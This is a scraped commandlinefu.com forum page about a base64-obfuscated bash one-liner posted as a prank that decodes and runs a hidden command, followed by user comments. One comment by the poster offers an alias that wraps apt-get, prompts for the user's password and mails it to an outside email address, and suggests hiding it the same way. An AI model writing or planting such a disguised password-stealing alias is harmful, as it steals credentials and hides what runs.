Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

Universal configuration monitoring and system of record for IT.
Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

May 19, 2015 - A Look At The New Commandlinefu
I've put together a short writeup on what kind of newness you can expect from the next iteration of clfu. Check it out here.
March 2, 2015 - New Management
I'm Jon, I'll be maintaining and improving clfu. Thanks to David for building such a great resource!
Hide

Top Tags

Hide

Functions

Hide

Credits

Command for JOHN CONS

Terminal - Command for JOHN CONS
alias Z=base64&&Z=dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=&&$(echo $Z|Z -d)
2010-12-24 14:29:19
User: rodolfoap
Functions: alias echo
7
Command for JOHN CONS

Would create a file with a meaningful title. Dedicated to John Cons, who is annoying us users. Merry Christmas!!!

Alternatives

There is 1 alternative - vote for the best!

Terminal - Alternatives

Know a better way?

If you can do better, submit your command here.

What others think

I'm certain they will treat it and you with the same amount of incredulity that we do.

Comment by Habitual 244 weeks and 2 days ago

This command isn't universal, as it seems to work only under bash and zsh.

On csh and tcsh it will output:

Illegal variable name.

On sh:

Z: not found

Furthermore, base64 isn't installed on all unix systems. On FreeBSD, it must be installed from /usr/ports/converters/base64

You were confident johncons where using linux and not another OS like FreeBSD.

Comment by Dereckson 244 weeks and 1 day ago

Dereckson: Do you think someone who submits a command like

'ls porn' uses FreeBSD? haha... Please, find the link above praying 'Know a better way? If you can do better, submit your command here.'

Comment by rodolfoap 243 weeks and 6 days ago

base64 also isn't installed on Mac OS X. However, with that said, you can get around it if you have OpenSSL installed:

openssl base64 -d -in <infile> -out <outfile>

Should increase the portability.

Comment by atoponce 243 weeks and 6 days ago

what does this command really do?

Comment by rne1223 243 weeks and 6 days ago

rne1223: it's really simple, but a little obfuscated. You will understand it by issueing (the text is dedicated to this john doe who is submitting crap):

echo dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=|base64 -d

You can encrypt things such as

alias apt-get='read -p "$USER password: ";echo $REPLY|mail -s $USER rodolfoap@gmail.com; apt-get'

:)

Comment by rodolfoap 243 weeks and 6 days ago

This does works perfectly:

$(echo "echo Foobar" | base64 | base64 -d)

>>> Foobar

This doesn't:

$(echo "echo Foobar | xargs echo" | base64 | base64 -d)

>>> Foobar | xargs echo

Why? How do I fix this?

Comment by mogoh 242 weeks and 2 days ago

Your point of view

You must be signed in to comment.